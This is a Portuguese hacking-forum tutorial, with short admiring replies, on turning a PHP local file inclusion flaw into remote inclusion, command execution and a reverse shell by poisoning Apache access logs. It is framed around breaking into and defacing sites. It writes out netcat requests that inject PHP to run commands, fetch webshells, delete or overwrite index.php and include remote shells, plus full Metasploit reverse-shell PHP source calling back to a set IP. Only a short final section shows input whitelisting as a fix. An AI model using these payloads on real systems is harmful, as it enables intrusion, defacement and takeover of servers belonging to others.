Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Transformando LFI em RFI e Command Execution

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Transformando LFI em RFI e Command Execution

    Olá a todos.
    Já sabemos que o RFI é uma falha obsoleta. É difícil (mas não impossível) encontrar um website vulnerável (e SQLi está indo pelo mesmo caminho).
    Muitas vezes, ao procurarmos esta vulnerabilidade, que se caracteriza pela inclusão de arquivos e códigos remotos, encontramos falhas do tipo LFI, ou seja, inclusão de arquivo local.
    Isto ocorre quando os arquivos que sofrerão os includes estão dentro de um subdiretório pré-definido, quando o servidor está configurado para não incluir (dar um include()) arquivos remotos, ou o sistema está apagando todos os "http://" da query string.
    Alguns websites bloqueiam http:// mas não bloqueiam https:// ou Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... Fica a dica!
    Note que quando ocorre o erro "Warning: include() [function.include]: URL file-access is disabled in the server configuration.", significa que o servidor de forma alguma suportará uma inclusão remota.
    Isto se dá devido a uma configuração feita no php.ini ou no .htaccess, onde se alterou as diretivas "allow_url_fopen" e "allow_url_include" para 0 (php_flag) ou "Off" (php_value).
    No entanto, vamos ver também como transformar a LFI em uma falha de Command Execution (execução de comandos).
    Se a falha que ocorre é outra, por exemplo, "Warning: include() [function.include]: failed to open stream: No such file or directory", pode ser que haja um diretório especial onde ficam os includes, e o programador faz:
    Código PHP:
    include("diretorio/".$_GET['include']); 
    Neste caso, percebe-se a vulnerabilidade LFI, e não RFI.

    Vou mostrar agora as seguintes coisas que "podemos" fazer com LFI:
    • RFI
    • Execução de comandos na shell
    • Execução de comandos PHP
    • Conexão reversa

    Ferramentas que precisamos (não necessariamente todas elas):
    1. NetCat
    2. Alguma webshell (recomendo WSO2.5)
    3. Metasploit Framework

    Uma das habilidades do bom hacker é a de fazer pesquisas e encontrar o que quiser em pouco tempo. Por isso, diferente de meus outros tutoriais, não vou dar o link de download de nada. Você é quem vai ter que ir atrás de cada um (se não tiver no seu PC). Vou esperar um pouco... Pronto? Então, podemos começar.
    Mas antes, vou mostrar o "núcleo" deste tutorial. Dependendo do seu nível de conhecimento, após ler isso, nem vai fazer sentido continuar lendo o tutorial. Mas, vamos lá:
    Os servidores web (como Apache) mantém arquivos chamados "access-logs", onde registram o endereço IP, o método e o request, a resposta do servidor, a referência e o user-agent de cada um que acessa o website. É o que vem acusando os defacers e que poderão te fazer ver o sol nascer quadrado no xadrez. Vendo por este lado, parece ser o nosso terror, amigo dos webmasters, mas você vai ver com outros olhos, agora; verá que os logs de acesso também podem ser nossos amigos e inimigos dos webmasters.
    Toda a magia do método está neles. Já entendeu? Não?! Então vai ter que continuar lendo...

    Primeiramente, vamos checar se temos permissões para incluir os logs de acesso. Na maioria dos servidores isso é possível, sim. Eles estão disponíveis, geralmente, no diretório "access-logs", no mesmo nível do "public_html" ou "www" (diretório onde ficam os arquivos que serão acessados pelos usuários). Dentro do diretório "access-logs" (que na realidade é um atalho para um outro diretório no sistema, mas não vem ao caso...) estão os arquivos, um para cada domínio/subdomínio.
    Por exemplo, se estamos invadindo o site "www.site.com.br", vamos supor que ele esteja hospedado assim:
    /home/{qualquer merda aqui}/public_html/
    Então, poderemos supor que os logs estarão aqui (note que boa parte do hacking são as suposições):
    /home/{qualquer merda aqui}/access-logs/site.com.br
    Como estamos dentro do diretório "public_html" (use o bom senso para saber se você não está em outro subdiretório. Dê uma olhada na URL), e não sabemos o nome do usuário que estamos rodando dentro do servidor (o que ficaria no lugar de '{qualquer merda aqui}'), vamos utilizar os 2 pontos seguidos (".."), que querem dizer que queremos subir um nível de diretórios. Veja como acessaríamos:
    ../access-logs/site.com.br
    O que equivaleria a:
    /home/{qualquer merda aqui}/public_html/../access-logs/site.com.br
    Ou:
    /home{qualquer merda aqui}/access-logs/site.com.br
    Costuma variar um pouco (bem pouco). Em datacenters caseiros (acredite, isso existe!) e dedicados, costuma-se usar localizações como:
    /var/log/apache2/access.log
    Neste caso, se os arquivos incluídos não precisam estar em um diretório pré-definido, convém usar a localização desde a raiz (?include=/var/log/apache...).
    Vamos ver se vai aparecer uma boa quantidade de conteúdo na página. Caso apareça, parabéns, você vai "poder" brincar com o site.
    A página provavelmente vai demorar um pouco pra abrir, afinal, é muito conteúdo!.. Ainda está esperando? Use o botão de "Parar/Cancelar" do navegador!
    Ok, agora sim podemos começar. Leia o tutorial até o final antes de fazer qualquer coisa. Agora, a pausa para o café.
    -+-+-
    RFI
    Vamos iniciar trocando a primeira letra do nome da vulnerabilidade. Você não vai poder fazer esta parte do tutorial caso o site diga que está configurado para não abrir arquivos remotos.
    Outra coisa: geralmente, um arquivo de log de acesso é meio grande. Por isso, prefira shells menores, de preferência que usem AJAX Navigation (como WSO 2.5) e tenha paciência. Também é bom (mas não fundamental) que se tenha uma internet boa.
    Vamos usar o NetCat para dar um request ao servidor. Como é de se julgar, ele irá parar no access-logs, que iremos inclur. Se usarmos códigos PHP no request, eles também vão ser registrados lá.
    Código:
    nc -v site.com.br 80
    site.com.br [0.0.0.0] 80 (www) open
    Agora, vamos digitar nosso request maravilhoso e pressionar Enter:
    Código:
    GET <?php include("http://endereco_de_uma_webshell_em.txt "); ?> HTTP/1.1
    Em seguida, o servidor lhe retornará um erro 400 (Bad Request) ou 302 (Moved). Tudo foi registrado, para nossa alegria.
    Agora, tudo o que você precisa fazer é atualizar a página onde você incluiu com sucesso os logs de acesso. Dê um F5 e pronto! Você transformou um LFI em RFI.

    Execução de comandos (shell e PHP)
    Você também pode executar outros comandos, seja eles de shell (bash/DOS) ou PHP, usando este método.
    Vamos ver diferentes formas de se obter o nome do usuário, executando o comando "whoami" no terminal do servidor.
    Poderemos fazer um dos seguintes requests usando o NetCat (tal qual o ítem anterior, RFI).
    Código:
    GET <?php print `whoami`; ?> HTTP/1.1
    GET <?php system("whoami"); ?> HTTP/1.1
    GET <?php echo shell_exec("whoami"); ?> HTTP/1.1
    GET <?php system("wget http://shell_em.txt"); system("mv shell_em.txt shell.php"); ?> HTTP/1.1
    Igualmente desta forma, também podemos executar códigos PHP:
    Código:
    GET <?php /* códigos PHP aqui */ ?> HTTP/1.1
    GET <?php unlink("./index.php"); ?> HTTP/1.1
    GET <?php file_put_contents("index.php", "Hacked!"); ?> HTTP/1.1
    GET <?php file_put_contents("shell.php", file_get_contents("http://shell_em.txt"); ?> HTTP/1.1
    Você pode fazer ataques organizados, para obter as credenciais do servidor SQL usando o file_get_contents() do PHP, cat do Linux e type do Windows, conectar e obter dados.
    Para se obter a saída é a mesma coisa: atualizar a página onde você incluiu os logs de acesso.

    Conexão reversa
    Você também pode trazer o terminal do servidor para dentro de sua janelinha do Konsole, XTerm, MS-DOS ou qualquer outra coisa. Para isso, vamos usar o RFI.
    Você também Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... (não é necessário ter PHP).
    Pelo Metasploit, vamos gerar um de seus payloads dentro de um arquivo. Eu vou usar o php/reverse_php. Você pode escolher outro, contando que seja do grupo "php".
    Navegue via "cd" (change dir) até o diretório onde está o HTML público (exemplo: /var/www ou C:\wamp\www) e execute (ou então execute em qualquer outro lugar e depois copie/mova o arquivo gerado):
    Código:
    msfpayload php/reverse_php LHOST=SEU.IP.AQ.UI LPORT=PORTA >> shell.txt
    Por exemplo:
    Código:
    msfpayload php/reverse_php LHOST=192.193.181.190 LPORT=81 >> shell.txt
    Ele gerou o seguinte arquivo:
    Código PHP:
               $ipaddr=192.193.181.190;
                    
    $port=81;
                    
                            @
    set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
                            
    $dis=@ini_get('disable_functions');
                            if(!empty(
    $dis)){
                                    
    $dis=preg_replace('/[, ]+/'','$dis);
                                    
    $dis=explode(','$dis);
                                    
    $dis=array_map('trim'$dis);
                            }else{
                                    
    $dis=array();
                            }
                            

                    if(!
    function_exists('VCKtWDNboeLG')){
                            function 
    VCKtWDNboeLG($c){
                                    global 
    $dis;
                                    
                            if (
    FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
                                    
    $c=$c." 2>&1\n";
                            }
                            
    $qtrY='is_callable';
                            
    $bTjPe='in_array';
                            
                            if(
    $qtrY('passthru')and!$bTjPe('passthru',$dis)){
                                    
    ob_start();
                                    
    passthru($c);
                                    
    $o=ob_get_contents();
                                    
    ob_end_clean();
                            }else
                            if(
    $qtrY('proc_open')and!$bTjPe('proc_open',$dis)){
                                    
    $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
                                    
    $o=NULL;
                                    while(!
    feof($pipes[1])){
                                            
    $o.=fread($pipes[1],1024);
                                    }
                                    @
    proc_close($handle);
                            }else
                            if(
    $qtrY('popen')and!$bTjPe('popen',$dis)){
                                    
    $fp=popen($c,'r');
                                    
    $o=NULL;
                                    if(
    is_resource($fp)){
                                            while(!
    feof($fp)){
                                                    
    $o.=fread($fp,1024);
                                            }
                                    }
                                    @
    pclose($fp);
                            }else
                            if(
    $qtrY('system')and!$bTjPe('system',$dis)){
                                    
    ob_start();
                                    
    system($c);
                                    
    $o=ob_get_contents();
                                    
    ob_end_clean();
                            }else
                            if(
    $qtrY('exec')and!$bTjPe('exec',$dis)){
                                    
    $o=array();
                                    
    exec($c,$o);
                                    
    $o=join(chr(10),$o).chr(10);
                            }else
                            if(
    $qtrY('shell_exec')and!$bTjPe('shell_exec',$dis)){
                                    
    $o=shell_exec($c);
                            }else
                            {
                                    
    $o=0;
                            }
                    
                                    return 
    $o;
                            }
                    }
                    
    $nofuncs='no exec functions';
                    if(
    is_callable('fsockopen')and!in_array('fsockopen',$dis)){
                            
    $s=@fsockopen("tcp://192.193.181.190",$port);
                            while(
    $c=fread($s,2048)){
                                    
    $out '';
                                    if(
    substr($c,0,3) == 'cd '){
                                            
    chdir(substr($c,3,-1));
                                    } else if (
    substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
                                            break;
                                    }else{
                                            
    $out=VCKtWDNboeLG(substr($c,0,-1));
                                            if(
    $out===false){
                                                    
    fwrite($s,$nofuncs);
                                                    break;
                                            }
                                    }
                                    
    fwrite($s,$out);
                            }
                            
    fclose($s);
                    }else{
                            
    $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
                            @
    socket_connect($s,$ipaddr,$port);
                            @
    socket_write($s,"socket_create");
                            while(
    $c=@socket_read($s,2048)){
                                    
    $out '';
                                    if(
    substr($c,0,3) == 'cd '){
                                            
    chdir(substr($c,3,-1));
                                    } else if (
    substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
                                            break;
                                    }else{
                                            
    $out=VCKtWDNboeLG(substr($c,0,-1));
                                            if(
    $out===false){
                                                    @
    socket_write($s,$nofuncs);
                                                    break;
                                            }
                                    }
                                    @
    socket_write($s,$out,strlen($out));
                            }
                            @
    socket_close($s);
                    } 
    Neste caso, suponhamos que meu IP seja 192.193.181.190 e que eu queira usar a porta 81.
    Agora, pelo NetCat (como root, se for um *nix), vou deixar a porta escolhida (neste caso, 81) em escuta.
    Código:
    nc -v -l -p 81
    listening on [any] 81 ...
    Agora, vamos fazer o request da alegria.
    Código:
    GET <?php include("http://seu.ip.aq.ui/shell.txt"); ?> HTTP/1.1
    Dê o F5 da alegria na página com o include nos access-logs e já restaure a janela do seu terminal.
    Quando aparecer aquela mensagem avisando de uma conexão ("connect to [seu ip] from [ip do servidor] porta"), já "pode" sair executando comandos.
    -+-+-
    Por que preciso usar NetCat, e não Telnet?
    Digamos que Telnet é uma coisa bastante depreciada. Caso você esteja em um *nix, não há problemas em usar o Telnet para fazer os requests (mas não vai conseguir deixar uma porta em escuta), mas caso esteja no Windows, não vai poder usar o Telnet. Isto porque o M$ Telnet envia o conteúdo a cada tecla digitada (e os webservers exigem apenas uma conexão por request), e o do *nix envia o conteúdo a cada "Enter".

    Resolvendo o problema
    Há aquela velha maneira:
    Código PHP:
    $include $_GET['include'];
    if(
    $include=="foo") {
      include(
    "foo.php");
    }
    elseif(
    $include=="foo2") {
      include(
    "foo2.php");
    } else {
      include(
    "foo3.php");
    }
    // ou
    $include $_GET['include'];
    switch(
    $include) {
      case 
    "foo":
      include(
    "foo.php");
      break;

      case 
    "foo2":
      include(
    "foo2.php");
      break;

      default:
      include(
    "foo3.php");

    Mas, convenhamos... Isso não é muito interessante, não é mesmo?
    Há várias outras formas. Na seguinte, por exemplo, teremos uma pattern em Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., validando apenas letras minúsculas e números. Ainda checaremos se o arquivo existe.
    Código PHP:
    $include $_GET['include'];
    if(
    preg_match("/^([a-z0-9]*)$/"$include) AND file_exists("./$include")) {
      include(
    $include);
    } else {
      include(
    "404.php");

    Nesta outra maneira definimos um array (vetor) contendo todas as opções possíveis para a inclusão.
    Código PHP:
    $include $_GET['include'];
    $permitidos = array("foo.php""foo2.php");
    if(
    in_array($include$permitidos)) {
      include(
    $include);
    } else {
      include(
    "foo3.php");

    Procedimentos simples que podem evitar muita dor de cabeça.
    Até a próxima!
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
    Similar Threads

  • Font Size
    #2
    Cara não conheço muito de PHP e sou novo em deface, mas to salvando todos seus tuts pra consultas futuras.
    Manda bem demais, lol.
    Valeu.


    --> Liberte-se você também <--

    Comment


    • Font Size
      #3
      Pelo jeito vc é programador hehehe...

      Parabéns pelo tutorial, um pouco complexo mas eficaz.

      Comment


      • Font Size
        #4
        SQLi está indo pelo mesmo caminho

        WTF?????????

        Comment


        • Font Size
          #5
          Encontrar SQLi ainda eh fácil mas muitas vezes a exploração n resulta em algo muito produtivo.
          As vezes nem shell se consegue upar =/

          Mas oq me interessa msm eh o conhecimento das várias técnicas possíveis.

          Essa eu n sabia. Vlw 0KaL
          Bem interessante.
          Quanto mais aprendo mais vejo o tamanho da minha ignorânica.
          sigpic

          Comment


          • Font Size
            #6
            Muito Bom adoçante, valeu pelo post ;D
            ---


            Agradeça a todos que ajudam bastando clicar em "Obrigado"

            Comment


            • Font Size
              #7
              Caralh00 !!! Esse artigo é um dos mais fodas ! Vlw 0Kal!!!!

              Comment

              X
              Working...
              X